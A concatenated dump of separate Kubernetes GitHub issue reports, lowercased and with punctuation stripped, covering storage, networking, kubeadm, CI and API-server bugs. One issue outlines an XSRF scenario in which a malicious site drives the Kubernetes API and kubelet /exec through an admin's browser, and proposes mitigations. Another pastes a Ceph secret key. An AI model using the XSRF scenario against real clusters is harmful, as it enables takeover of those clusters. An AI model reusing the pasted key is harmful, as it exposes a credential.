<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >  \r \r   what happened  :\r the pv info:\r ! image  https://user-images.githubusercontent.com/25783555/29152382-bf7fe3f8-7db9-11e7-8f97-3ac4baafb8c3.png \r \r the pvc info:\r ! image  https://user-images.githubusercontent.com/25783555/29152400-d88aa162-7db9-11e7-9969-ad7e675ceeca.png \r \r   -bash-4.2   cat cinderpv1.yaml\r apiversion: \ v1\ \r kind: \ persistentvolume\ \r metadata:\r   name: \ pv0001\ \r spec:\r   capacity:\r     storage: \ 2gi\ \r   accessmodes:\r     - \ readwritemany\ \r   cinder:\r     fstype: \ ext4\ \r     volumeid: \ 421806a2-db1e-460a-b65b-b1ae38b46317\ \r \r   -bash-4.2  cat cinderpvc1.yaml\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: cinder-jlx-0\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 2gi\r   volumename: \ pv0001\ \r \r   -bash-4.2  cat cinderpv2.yaml\r apiversion: \ v1\ \r kind: \ persistentvolume\ \r metadata:\r   name: \ pv0002\ \r spec:\r   capacity:\r     storage: \ 2gi\ \r   accessmodes:\r     - \ readwritemany\ \r   cinder:\r     fstype: \ ext4\ \r     volumeid: \ 421806a2-db1e-460a-b65b-b1ae38b46317\ \r \r   -bash-4.2   cat cinderpvc2.yaml\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: cinder-jlx-1\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 2gi\r   volumename: \ pv0002\ \r \r the statefulset info:\r  -bash-4.2  cat statefulset-cinder.yaml\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: jlx\r spec:\r   servicename: \ cinder\ \r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: cinder\r     spec:\r       containers:\r       - name: cinder\r         image: index.tenxcloud.com/docker_library/nginx:latest\r         imagepullpolicy: never\r         ports:\r         - containerport: 80\r           name: web\r         volumemounts:\r         - name: cinder\r           mountpath: /usr/cinder\r   volumeclaimtemplates:\r   - metadata:\r       name: cinder\r       annotations:\r         volume.alpha.kubernetes.io/storage-class:\r     spec:\r       accessmodes:   \ readwritemany\   \r       resources:\r         requests:\r           storage: 2gi\r  \r but the pod info\r ! image  https://user-images.githubusercontent.com/25783555/29152519-699a80aa-7dba-11e7-9895-a190c195545d.png \r ! image  https://user-images.githubusercontent.com/25783555/29152532-7daf7fe6-7dba-11e7-9e73-5989c396cbb0.png \r the kubelet info\r ! image  https://user-images.githubusercontent.com/25783555/29152598-d7c9f11e-7dba-11e7-8008-dbec00727dd7.png \r ! image  https://user-images.githubusercontent.com/25783555/29152611-e1a39f50-7dba-11e7-9488-a5e6348e0b03.png \r \r cinder show\r ! image  https://user-images.githubusercontent.com/25783555/29152670-23f33b36-7dbb-11e7-9daf-5981c80123ba.png \r ! image  https://user-images.githubusercontent.com/25783555/29152681-307c7dd6-7dbb-11e7-8449-a09080f4b6a0.png \r \r   what you expected to happen  :\r pod running\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :gitversion:\ v1.6.4+d6f433224538d\ \r - cloud provider or hardware configuration  :openstack\r - os  e.g. from /etc/os-release :name=\ newstart carrier grade server linux\ \r - kernel  e.g.  uname -a  :linux master-jlx-k8s.novalocal 3.10.0-514.6.1.el7.x86_64  1 smp thu feb 16 19:50:09 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r a daemonset with  hostnetwork: true  has no route to kubernetes service net.\r \r   what you expected to happen  :\r i expected daemonset pods to be able to reach kubernetes services.\r in order to reach the services, i have to add a static route within the daemonset pod:  \r  ip route add 11.0.0.0/16 via 6.0.9.1 \r where  11.0.0.0  is the service net and  6.0.9.1  is  docker.0  interface address in the flannel network.\r the route -n output shows there are no routes for the service net:\r \r    \r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         192.172.0.1     0.0.0.0         ug    0      0        0 eth1\r 6.0.9.0         6.0.9.0         255.255.255.0   ug    0      0        0 flannel.1\r 6.0.13.0        6.0.13.0        255.255.255.0   ug    0      0        0 flannel.1\r 6.0.25.0        6.0.25.0        255.255.255.0   ug    0      0        0 flannel.1\r 6.0.26.0        6.0.26.0        255.255.255.0   ug    0      0        0 flannel.1\r 6.0.28.0        6.0.28.0        255.255.255.0   ug    0      0        0 flannel.1\r 6.0.36.0        6.0.36.0        255.255.255.0   ug    0      0        0 flannel.1\r 6.0.83.0        6.0.83.0        255.255.255.0   ug    0      0        0 flannel.1\r 6.0.88.0        6.0.88.0        255.255.255.0   ug    0      0        0 flannel.1\r 6.0.93.0        0.0.0.0         255.255.255.0   u     0      0        0 docker0\r 6.0.94.0        6.0.94.0        255.255.255.0   ug    0      0        0 flannel.1\r 192.172.0.0     0.0.0.0         255.255.255.0   u     0      0        0 eth1\r  the one below has been added manually. not a copy-paste thus might be not entirely accurate:\r  11.0.0.0        6.0.9.1        255.255.0.0     ug    0      0        0 docker.0\r    \r \r typical pod route table with  hostnetwok: false  routes everything via  6.0.9.1  , including the service net:\r    \r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         6.0.9.1        0.0.0.0         ug    0      0        0 eth0\r 6.0.9.0        0.0.0.0         255.255.255.0   u     0      0        0 eth0\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: curl\r   labels:\r     k8s-app: curl\r spec:\r   template:\r     metadata:\r       labels:\r         k8s-app: curl\r     spec:\r       hostnetwork: true\r       containers:\r       - image: tutum/curl\r         name: curl\r         command:\r          - \ /bin/bash\ \r          - \ -c\ \r          - \ --\ \r         args :\r          - 'sleep infinity'\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : hyperkube 1.8.4\r - os  e.g. from /etc/os-release : coreos lates to date\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r i install  ha master with kubeadm follow this https://v1-9.docs.kubernetes.io/docs/setup/independent/high-availability/\r \r 3 master and 1 worknode\r  kubectl get nodes\r name               status    roles     age       version\r host-10-31-3-107   ready     master    16h       v1.9.3\r host-10-31-3-202   ready     master    17h       v1.9.3\r host-10-31-3-240   ready     master    18h       v1.9.3\r host-10-71-0-169   ready     <none>    16h       v1.9.3\r \r  kubectl get pods --all-namespaces -o wide\r namespace     name                                       ready     status    restarts   age       ip            node\r default       rc-centos-7lpdr                            1/1       running   0          11h       10.244.3.3    host-10-31-3-107\r default       rc-centos-gpzf7                            1/1       running   1          13h       10.244.4.15   host-10-71-0-169\r default       rc-centos-ppqj6                            1/1       running   0          12h       10.244.4.16   host-10-71-0-169\r kube-system   canal-74v8v                                3/3       running   1          17h       10.31.3.202   host-10-31-3-202\r kube-system   canal-hxfzn                                3/3       running   1          16h       10.31.3.107   host-10-31-3-107\r kube-system   canal-vp9pm                                3/3       running   0          9h        10.71.0.169   host-10-71-0-169\r kube-system   canal-zdvqz                                3/3       running   1          17h       10.31.3.240   host-10-31-3-240\r kube-system   kube-apiserver-host-10-31-3-107            1/1       running   0          16h       10.31.3.107   host-10-31-3-107\r kube-system   kube-apiserver-host-10-31-3-202            1/1       running   0          17h       10.31.3.202   host-10-31-3-202\r kube-system   kube-apiserver-host-10-31-3-240            1/1       running   0          18h       10.31.3.240   host-10-31-3-240\r kube-system   kube-controller-manager-host-10-31-3-107   1/1       running   0          16h       10.31.3.107   host-10-31-3-107\r kube-system   kube-controller-manager-host-10-31-3-202   1/1       running   0          17h       10.31.3.202   host-10-31-3-202\r kube-system   kube-controller-manager-host-10-31-3-240   1/1       running   0          18h       10.31.3.240   host-10-31-3-240\r kube-system   kube-dns-6f4fd4bdf-924z6                   3/3       running   0          12h       10.244.1.2    host-10-31-3-202\r kube-system   kube-dns-6f4fd4bdf-qfqw9                   3/3       running   0          12h       10.244.3.2    host-10-31-3-107\r kube-system   kube-dns-6f4fd4bdf-wdxz8                   3/3       running   0          18h       10.244.0.2    host-10-31-3-240\r kube-system   kube-proxy-6j74p                           1/1       running   0          17h       10.31.3.202   host-10-31-3-202\r kube-system   kube-proxy-fqtkh                           1/1       running   0          18h       10.31.3.240   host-10-31-3-240\r kube-system   kube-proxy-gxtnq                           1/1       running   0          16h       10.31.3.107   host-10-31-3-107\r kube-system   kube-proxy-qpvz7                           1/1       running   4          16h       10.71.0.169   host-10-71-0-169\r kube-system   kube-scheduler-host-10-31-3-107            1/1       running   0          16h       10.31.3.107   host-10-31-3-107\r kube-system   kube-scheduler-host-10-31-3-202            1/1       running   0          17h       10.31.3.202   host-10-31-3-202\r kube-system   kube-scheduler-host-10-31-3-240            1/1       running   0          18h       10.31.3.240   host-10-31-3-240\r \r   in node host-10-31-3-107,  i can ping pod ip 10.244.3.2  but cann't ping pod ip 10.244.3.3  \r \r ping 10.244.3.2  10.244.3.2  56 84  bytes of data.\r 64 bytes from 10.244.3.2: icmp_seq=1 ttl=64 time=0.039 ms\r 64 bytes from 10.244.3.2: icmp_seq=2 ttl=64 time=0.033 ms\r 64 bytes from 10.244.3.2: icmp_seq=3 ttl=64 time=0.038 ms\r 64 bytes from 10.244.3.2: icmp_seq=4 ttl=64 time=0.040 ms\r 64 bytes from 10.244.3.2: icmp_seq=5 ttl=64 time=0.027 ms\r \r ping 10.244.3.3  10.244.3.3  56 84  bytes of data.\r from 10.31.3.107 icmp_seq=1 destination host unreachable\r from 10.31.3.107 icmp_seq=2 destination host unreachable\r from 10.31.3.107 icmp_seq=3 destination host unreachable\r from 10.31.3.107 icmp_seq=4 destination host unreachable\r from 10.31.3.107 icmp_seq=5 destination host unreachable\r from 10.31.3.107 icmp_seq=6 destination host unreachable\r from 10.31.3.107 icmp_seq=7 destination host unreachable\r \r but from pod 10.244.3.3  inside  it can ping host-10-31-3-107\r \r kubectl exec -it rc-centos-7lpdr /bin/bash\r  root@rc-centos-7lpdr /   ping 10.31.3.107                                                                                                                                                                                                                                   \r ping 10.31.3.107  10.31.3.107  56 84  bytes of data.\r 64 bytes from 10.31.3.107: icmp_seq=5 ttl=64 time=1008 ms\r 64 bytes from 10.31.3.107: icmp_seq=6 ttl=64 time=7.99 ms\r 64 bytes from 10.31.3.107: icmp_seq=7 ttl=64 time=0.028 ms\r 64 bytes from 10.31.3.107: icmp_seq=8 ttl=64 time=0.034 ms\r 64 bytes from 10.31.3.107: icmp_seq=9 ttl=64 time=0.035 ms\r \r   what you expected to happen  :\r \r when k8s cluster installed sucesslly and all needed pod is running , pod ip should be reachable from any host in k8s cluser \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r  root@host-10-31-3-107 ~   route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         10.31.3.121     0.0.0.0         ug    0      0        0 eth0\r 10.0.0.0        10.31.3.1       255.0.0.0       ug    0      0        0 eth0\r 10.31.3.0       0.0.0.0         255.255.255.0   u     0      0        0 eth0\r 10.244.0.0      10.244.0.0      255.255.255.0   ug    0      0        0 flannel.1\r 10.244.1.0      0.0.0.0         255.255.255.0   u     0      0        0 docker0\r 10.244.3.2      0.0.0.0         255.255.255.255 uh    0      0        0 cali38d075e6956\r 10.244.3.3      0.0.0.0         255.255.255.255 uh    0      0        0 cali14c560cb979\r 10.244.4.0      10.244.4.0      255.255.255.0   ug    0      0        0 flannel.1\r 169.254.169.254 10.31.3.1       255.255.255.255 ugh   0      0        0 eth0\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 br-b8f5bc4d511f\r \r \r  root@rc-centos-7lpdr /   route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         169.254.1.1     0.0.0.0         ug    0      0        0 eth0\r 169.254.1.1     0.0.0.0         255.255.255.255 uh    0      0        0 eth0\r \r  root@rc-centos-7lpdr /   ifconfig\r eth0      link encap:ethernet  hwaddr 16:97:22:16:cd:87  \r           inet addr:10.244.3.3  bcast:0.0.0.0  mask:255.255.255.255\r           up broadcast running multicast  mtu:1500  metric:1\r           rx packets:3930 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:3587 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:0 \r           rx bytes:35802506  34.1 mib   tx bytes:210678  205.7 kib \r \r lo        link encap:local loopback  \r           inet addr:127.0.0.1  mask:255.0.0.0\r           up loopback running  mtu:65536  metric:1\r           rx packets:0 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:0 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:0 \r           rx bytes:0  0.0 b   tx bytes:0  0.0 b \r \r \r addtional\r when i ping 10.244.3.3 from 10.31.3.107 , i run tcpdump -i eth0 in pod 10.244.3.3  and see this \r 1\t0.000000\tee:ee:ee:ee:ee:ee\tbroadcast\tarp\t42\twho has 10.244.3.3?  tell 10.31.3.107\r .....\r \r \r \r \r 15\t18.008023\tee:ee:ee:ee:ee:ee\tbroadcast\tarp\t42\twho has 10.244.3.3?  tell 10.31.3.107\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r cat /etc/os-release\r name=\ euleros\ \r version=\ 2.0  sp2 \ \r id=\ euleros\ \r id_like=\ rhel fedora centos\ \r version_id=\ 2.0\ \r pretty_name=\ euleros 2.0  sp2 \ \r ansi_color=\ 0;31\ \r \r - kernel  e.g.  uname -a  :\r uname -a\r linux host-10-31-3-240 3.10.0-327.59.59.46.h44.x86_64  1 smp tue jan 9 11:27:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - others:\r

 \r   what happened  :\r \r if you start with a minimal debian image and attempt to install kubernetes-cni.deb as an artifact\r from a bazel build, it will fail with:\r \r    \r dpkg: error processing archive kubernetes-cni.deb  --install :\r  error creating directory '/opt/cni/bin': no such file or directory\r    \r \r this has been a known issue in the past, and there are workarounds for ci in place, but it's\r still unexpected behaviour  https://github.com/kubernetes/kubernetes/issues/59762 issuecomment-366400634 \r \r   what you expected to happen  :\r \r kubernetes-ci.deb installs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     shell\r docker run -it -v <path to debs>:/mnt debian /bin/sh -c 'dpkg -i /mnt/kubernetes-cni.deb'\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : debian\r - kernel  e.g.  uname -a  : n/a\r - install tools:  dpkg \r - others:\r \r 

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r the output of my kubeadm:\r    \r $  kubeadm init --config kubeadm-config.yaml\r  endpoint  warning: port specified in api.controlplaneendpoint overrides api.bindport in the controlplane address\r  init  using kubernetes version: v1.11.0\r  preflight  running pre-flight checks\r \t warning firewalld : firewalld is active, please ensure ports  6443 10250  are open or your cluster may not function correctly\r \t warning httpproxy : connection to \ https://192.168.111.129\  uses proxy \ http://xx.xx.xx.xx:8080/\ . if that is not intended, adjust your proxy settings\r \t warning httpproxycidr : connection to \ 10.96.0.0/12\  uses proxy \ http://xx.xx.xx.xx:8080/\ . this may lead to malfunctional cluster setup. make sure that pod and services ip ranges specified correctly as exceptions in proxy configuration\r \t warning fileexisting-socat : socat not found in system path\r i0703 19:20:43.900948   10957 kernel_validator.go:81  validating kernel version\r i0703 19:20:43.901042   10957 kernel_validator.go:96  validating kernel config\r \t warning service-kubelet : kubelet service is not enabled, please run 'systemctl enable kubelet.service'\r  preflight/images  pulling images required for setting up a kubernetes cluster\r  preflight/images  this might take a minute or two, depending on the speed of your internet connection\r  preflight/images  you can also perform this action in beforehand using 'kubeadm config images pull'\r  preflight  some fatal errors occurred:\r \t error imagepull : failed to pull image  k8s.gcr.io/coredns-amd64:1.1.3 : exit status 1\r  preflight  if you know what you are doing, you can make a check non-fatal with  --ignore-preflight-errors=... \r $ kubeadm config images pull\r  config/images  pulled k8s.gcr.io/kube-apiserver-amd64:v1.11.0\r  config/images  pulled k8s.gcr.io/kube-controller-manager-amd64:v1.11.0\r  config/images  pulled k8s.gcr.io/kube-scheduler-amd64:v1.11.0\r  config/images  pulled k8s.gcr.io/kube-proxy-amd64:v1.11.0\r  config/images  pulled k8s.gcr.io/pause-amd64:3.1\r  config/images  pulled k8s.gcr.io/etcd-amd64:3.2.18\r failed to pull image \ k8s.gcr.io/coredns-amd64:1.1.3\ : exit status 1\r $ kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.1793+fc081b5941b90a\ , gitcommit:\ fc081b5941b90aa6dedbc796f97a19da373c5df9\ , gittreestate:\ clean\ , builddate:\ 2018-07-03t10:14:52z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r when i pull the image with docker pull, i get such output:\r    \r   sudo docker pull k8s.gcr.io/coredns-amd64:1.1.3\r trying to pull repository k8s.gcr.io/coredns-amd64 ... \r pulling repository k8s.gcr.io/coredns-amd64\r unauthorized: authentication required\r    \r \r but other images are successfully pulled as we can see from previous log.\r why?

 \r   what happened  :\r \r azure load balancer supports ipv6  1 . it would be great to have azure load balancers with ipv6 supported by kubernetes.\r \r   what you expected to happen  :\r load balancer with ipv6 can be created by kubernetes.\r \r   anything else we need to know?  :\r please see azure docs for details and limitations  2 .\r \r   environment  :\r - kubernetes version  use  kubectl version  : all\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : all\r - kernel  e.g.  uname -a  : all\r - install tools: all\r - others: -\r \r 1 - https://docs.microsoft.com/en-us/azure/load-balancer/load-balancer-ipv6-overview\r 2 - https://docs.microsoft.com/en-us/azure/load-balancer/load-balancer-ipv6-overview details-and-limitations

  /area custom-resources\r \r i am deploying aggregator dedicatedly in my local environment,  and the legacy server and the extension server is deployed in one via delegation.  is it supported yet? now there is a launch script for only aggregator .\r \r then when i request the discovery to the legacy/extension server  skipping aggregator , it doesn't return any api group info about the extension server, neither crd's group  apiextensions.k8s.io  nor any cr's group. which is, the extension server's discovery is broken without aggregator now. \r \r after debugging into the code, i figured out that the discovery manager in the legacy server and the extension server is pointed to different instances. so all the api group info in the extension server is added to a \ wild\  discovery manager which will never be referenced for a read. \r \r /cc @sttts @nikhita

the go team has released 1.11.3 with three security fixes.\r \r from their e-mail announcement:\r    \r cmd/go: remote command execution during \ go get -u\ \r the issue is cve-2018-16873 and go issue golang.org/issue/29230. see the go issue for details.\r thanks to etienne stalmans from the heroku platform security team for discovering and reporting this issue.\r \r cmd/go: directory traversal in \ go get\  via curly braces in import paths\r the issue is cve-2018-16874 and go issue golang.org/issue/29231. see the go issue for details.\r thanks to ztz of tencent security platform for discovering and reporting this issue.\r \r crypto/x509: cpu denial of service in chain validation\r the issue is cve-2018-16875 and go issue golang.org/issue/29233. see the go issue for details.\r thanks to netflix for discovering and reporting this issue.\r    \r \r we should kick off upgrades of both the kubernetes build system, and our ci, as soon as possible.\r \r @jayconrod: do you have an eta for the rules_go bump that will contain 1.11.3 toolchain support?\r \r ---\r cc: @ixdy @kubernetes/sig-testing @kubernetes/sig-release @kubernetes/product-security-team

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r kubectl create -f ceph-pvc.yaml\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: pvc-expand-test\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r   storageclassname: ceph-storage\r    \r and result is ok\r  pvc-expand-test                              bound     pvc-962a674c-0a73-11e9-b2d8-0050569bfc0f   1gi        rwo            ceph-storage   1h \r \r now i want to resize pv from 1g to 2g, edit \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: pvc-expand-test\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r   storageclassname: ceph-storage\r    \r \r kubectl describe pvc pvc-expand-test \r    \r name:          pvc-expand-test\r namespace:     default\r storageclass:  ceph-storage\r status:        bound\r volume:        pvc-962a674c-0a73-11e9-b2d8-0050569bfc0f\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/storage-provisioner=ceph.com/rbd\r finalizers:     kubernetes.io/pvc-protection \r capacity:      1gi\r access modes:  rwo\r conditions:\r   type       status  lastprobetime                     lasttransitiontime                reason  message\r   ----       ------  -----------------                 ------------------                ------  -------\r   resizing   true    mon, 01 jan 0001 00:00:00 +0000   fri, 28 dec 2018 15:40:04 +0800           \r events:\r   type     reason              age                from           message\r   ----     ------              ----               ----           -------\r   warning  volumeresizefailed  24s  x21 over 1h   volume_expand  error expanding volume \ default/pvc-expand-test\  of plugin kubernetes.io/rbd : rbd info failed, error: can not get image size info kubernetes-dynamic-pvc-962c05a3-0a73-11e9-951a-0a580af404fa: rbd image 'kubernetes-dynamic-pvc-962c05a3-0a73-11e9-951a-0a580af404fa':\r            size 1 gib in 256 objects\r            order 22  4 mib objects \r            id: 374526b8b4567\r            block_name_prefix: rbd_data.374526b8b4567\r            format: 2\r            features: \r            op_features: \r            flags: \r            create_timestamp: fri dec 28 07:38:36 2018\r \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r ceph storageclass yaml:\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r    name: ceph-storage\r provisioner: ceph.com/rbd\r parameters:\r   monitors: 192.168.20.195:6789,192.168.20.196:6789,192.168.20.197:6789\r   adminid: admin\r   adminsecretnamespace: default\r   adminsecretname: ceph-secret\r   pool: k8s-rbd\r   userid: admin\r   usersecretname: ceph-secret\r   fstype: ext4\r   imageformat: \ 2\ \r allowvolumeexpansion: true\r    \r ceph secret:\r    \r \r apiversion: v1\r kind: secret\r metadata:\r   name: ceph-secret\r type: \ kubernetes.io/rbd\ \r data:\r   key: qvfcavhbwmnjcdfa1qtjmzxjrrmnrlzbtsnlyz1bedmlmake9pq==\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:41:50z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  :\r linux m01 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r - others:\r ceph version 13.2.2  02899bfda814146b021136e9d8e80eba494e1126  mimic  stable \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  gce-new-master-upgrade-master  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master \r \r   which test s  are failing  :\r all sig-storage tests configured to run daily under the master-upgrade dashboard. among others:\r -   sig-storage  persistentvolumes-local  volume type: gce-localssd-scsi-fs   serial  one pod requesting one prebound pvc should be able to mount volume and write from pod1 \r -   sig-storage  in-tree volumes  driver: aws   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow  \r -   sig-storage  in-tree volumes  driver: azure   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow  \r \r   since when has it been failing  :\r at least since 2019-02-13.\r \r   testgrid link  :\r  build 2237  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2237 \r \r   reason for failure  :\r timeout:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:147\r expected error:\r     < errors.errorstring | 0xc4200ef520>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:239\r    \r \r   anything else we need to know  :\r these tests are configured to run once daily, which means there is some delay in knowing that what they cover is passing ci. it would be important to get them passing sooner rather than later to make sure they are not hiding other failures.\r \r might be related: \r - https://github.com/kubernetes/kubernetes/issues/73696\r - https://github.com/kubernetes/kubernetes/issues/73419\r \r cc @kacole2 @mortent @smourapina @alejandrox1 \r \r   /

the server-side validation does not check the type of values with  x-kubernetes-int-or-string .\r \r create a crd like:\r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: foos.stable.example.com\r spec:\r   group: stable.example.com\r   versions:\r   - name: v1\r     served: true\r     storage: true\r   scope: namespaced\r   names:\r     plural: foos\r     singular: foo\r     kind: foo\r   preserveunknownfields: false\r   validation:\r     openapiv3schema:\r       type: object\r       properties:\r         intorstr:\r           x-kubernetes-int-or-string: true\r    \r \r then create a cr:\r    yaml\r apiversion: stable.example.com/v1\r kind: foo\r metadata:\r   name: instance\r intorstr: true\r    \r it is not rejected, but should because  intorstr  must not be a boolean.

in  8871 we hardened the usage of \ kubectl proxy\  but the same issues apply if you use the master api directly from a browser. also currently the xsrf protection in the proxy works by blocking post requests completely which prevents valid use cases so it would be good to have a better approach to xsrf protection.  the attack scenario would look like this: - a cluster admin uses the master api in chrome and is authenticated with http basic auth - in the same browser, the admin surfs to evil.com - evil.com can now execute arbitrary code in the cluster _if he knows the ip of the master api_ by doing cross-origin requests to the api to start a new container or use the kubelet's /exec endpoint.  i'd suggest: - all post requests should have a form of xsrf protection, maybe requiring a custom header might be easy to implement and sufficient for this use case. though whatever protection is used, it should be disabled for anything under /proxy since those services should come with their own xsrf protection. - /exec and /run of the kubelet api should require a post method since they are state changing requests  and then xsrf protected  - i'm still concerned about the /proxy endpoints. any xss in one of the proxied services could be used to read secrets from the api or to bypass any xsrf protection that is in place. the best mitigation would be if every proxied service would be served from a different origin. for example every proxied service could be served from a different port using the same basic auth credentials as the master api and the proxy endpoints could simply redirect to the right port.

almost all the binaries behaviour the same except kubectl works.      $ ./kube-apiserver -h | grep port   usage of ./kube-apiserver:       --address=127.0.0.1: deprecated: see --insecure-bind-address instead       --admission-control=\ alwaysadmit\ : ordered list of plug-ins to do admission control of resources into cluster. comma-delimited list of: securitycontextdeny, namespacelifecycle, namespaceexists, namespaceautoprovision, denyexeconprivileged, alwaysdeny, serviceaccount, resourcequota, limitranger, alwaysadmit       --admission-control-config-file=\ \ : file with admission control configuration.       --advertise-address=<nil>: the ip address on which to advertise the apiserver to members of the cluster. this address must be reachable by the rest of the cluster. if blank, the --bind-address will be used. if --bind-address is unspecified, the host's default interface will be used.       --allow-privileged=false: if true, allow privileged containers.       --alsologtostderr=false: log to standard error as well as files       --api-burst=200: api burst amount for the read only port       --api-prefix=\ /api\ : the prefix for api requests on the server. default '/api'.       --api-rate=10: api rate limit as qps for the read only port       --authorization-mode=\ alwaysallow\ : selects how to do authorization on the secure port.  one of: alwaysallow,alwaysdeny,abac       --authorization-policy-file=\ \ : file with authorization policy in csv format, used with --authorization-mode=abac, on the secure port.       --basic-auth-file=\ \ : if set, the file that will be used to admit requests to the secure port of the api server via http basic 